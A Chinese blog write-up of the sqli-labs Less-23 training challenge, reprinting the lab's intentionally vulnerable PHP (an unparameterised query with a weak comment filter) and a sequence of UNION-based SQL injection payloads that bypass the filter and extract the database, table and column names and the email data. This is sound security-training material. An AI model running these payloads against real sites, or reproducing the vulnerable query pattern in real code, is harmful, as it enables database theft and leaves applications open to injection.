[网络安全]sqli-labs Less-23 解题详析

简介: [网络安全]sqli-labs Less-23 解题详析

该题考察基于注释符过滤的sql注入

源代码如下:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-23 **Error Based- no comments**</title>
</head>
<body bgcolor="#000000">
<div style=" margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
// take the variables 
if(isset($_GET['id']))
{
$id=$_GET['id'];
//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity 
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
  if($row)
  {
    echo '<font color= "#0000ff">'; 
    echo 'Your Login name:'. $row['username'];
    echo "<br>";
    echo 'Your Password:' .$row['password'];
    echo "</font>";
    }
  else 
  {
  echo '<font color= "#FFFF00">';
  print_r(mysql_error());
  echo "</font>";  
  }
}
  else { echo "Please input the ID as parameter with numeric value";}
?>
</font> </div></br></br></br><center>
<img src="../images/Less-23.jpg" /></center>
</body>
</html>

可以看到关键代码:

//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// connectivity 
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);

代码审计一下:

//filter the comments out so as to comments should not work
$reg = "/#/";              // 正则表达式规则,用于过滤掉注释符号 #
$reg1 = "/--/";            // 正则表达式规则,用于过滤掉注释符号 --
$replace = "";             // 替换为空字符串,以实现注释的过滤
$id = preg_replace($reg, $replace, $id);     // 使用 preg_replace 过滤 $id 中的注释符号 #
$id = preg_replace($reg1, $replace, $id);   // 使用 preg_replace 过滤 $id 中的注释符号 --
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');         // 打开一个文件 result.txt,以追加写入的方式
fwrite($fp,'ID:'.$id."\n");          // 将 ID 值写入到文件中
fclose($fp);                         // 关闭文件句柄
// connectivity 
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";   // 构建 SQL 查询语句,根据过滤后的 $id 查询用户表中的数据
$result=mysql_query($sql);                             // 执行 SQL 查询

也就是说,当我们输入的内容为1' order by 3 --时,查询语句变为

$sql="SELECT * FROM users WHERE id='1' order by 3 --' LIMIT 0,1";

相当于

$sql="SELECT * FROM users WHERE id='1' order by 3;

然而由于#和- -被注释

查询语句实际上是:

$sql="SELECT * FROM users WHERE id='1' order by 3' LIMIT 0,1";

故查询会失败

如何绕过呢?

我们只要使单引号数量匹配即可

例如,我们可以输入?id=0' sql语句 and '1'='1

此时查询语句变为

$sql="SELECT * FROM users WHERE id='?id=0' sql语句 and '1'='1' LIMIT 0,1";

即可成功实现sql注入


判断注入点个数

?id=0' union select 1,2 and '1'='1

注入点个数不为2

接着

?id=0' union select 1,2,3 and '1'='1

成功回显,故注入点个数为3,且位点2在login name上


查库名

?id=0' union select 1,database(),3 and '1'='1

回显库名security


查表名

?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' and '1'='1

回显四个表名


查列名

?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' and '1'='1

回显3个列


查字段

?id=0' union select 1,group_concat(id,email_id),3 from emails where 1=1 and '1'='1


总结

以上为[网络安全]sqli-labs Less-23 解题详析,考察基于注释符过滤的sql注入,进行简单的构造即可。

我是秋说,我们下次见。

相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
MySQL数据库入门学习
本课程通过最流行的开源数据库MySQL带你了解数据库的世界。 &nbsp; 相关的阿里云产品:云数据库RDS MySQL 版 阿里云关系型数据库RDS(Relational Database Service)是一种稳定可靠、可弹性伸缩的在线数据库服务,提供容灾、备份、恢复、迁移等方面的全套解决方案,彻底解决数据库运维的烦恼。 了解产品详情:&nbsp;https://www.aliyun.com/product/rds/mysql&nbsp;
目录
相关文章
|
存储 安全 生物认证
【网络安全 | 指纹识别工具】WhatWeb使用详析
【网络安全 | 指纹识别工具】WhatWeb使用详析
1700 0
【网络安全 | 指纹识别工具】WhatWeb使用详析
|
网络安全 虚拟化
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
1259 0
【网络安全 | 工具】Kali虚拟机安装教程及报错详析
|
网络协议 Unix Linux
【网络安全 | 信息收集】操作系统判定及端口扫描(全网最详析)
【网络安全 | 信息收集】操作系统判定及端口扫描(全网最详析)
805 0
|
安全 Java 网络安全
【网络安全 | 扫描器】御剑安装及使用教程详析
【网络安全 | 扫描器】御剑安装及使用教程详析
4821 0
|
Web App开发 算法 网络安全
【网络安全 | Misc】解码工具Koczkatamas及CyberChef安装及使用详析
【网络安全 | Misc】解码工具Koczkatamas及CyberChef安装及使用详析
3336 0
|
前端开发 安全 JavaScript
【网络安全 | 网安工具】御剑WEB指纹识别系统使用详析
【网络安全 | 网安工具】御剑WEB指纹识别系统使用详析
993 0
|
网络安全
[网络安全]sqli-labs Less-26 解题详析
[网络安全]sqli-labs Less-26 解题详析
380 0
|
SQL 网络安全 数据库
[网络安全]sqli-labs Less-26a 解题详析
[网络安全]sqli-labs Less-26a 解题详析
441 0
|
SQL 网络安全
[网络安全]sqli-labs Less-25a 解题详析
[网络安全]sqli-labs Less-25a 解题详析
230 0
|
SQL 安全 网络安全
网络安全与信息安全:知识分享####
【10月更文挑战第21天】 随着数字化时代的快速发展,网络安全和信息安全已成为个人和企业不可忽视的关键问题。本文将探讨网络安全漏洞、加密技术以及安全意识的重要性,并提供一些实用的建议,帮助读者提高自身的网络安全防护能力。 ####
538 17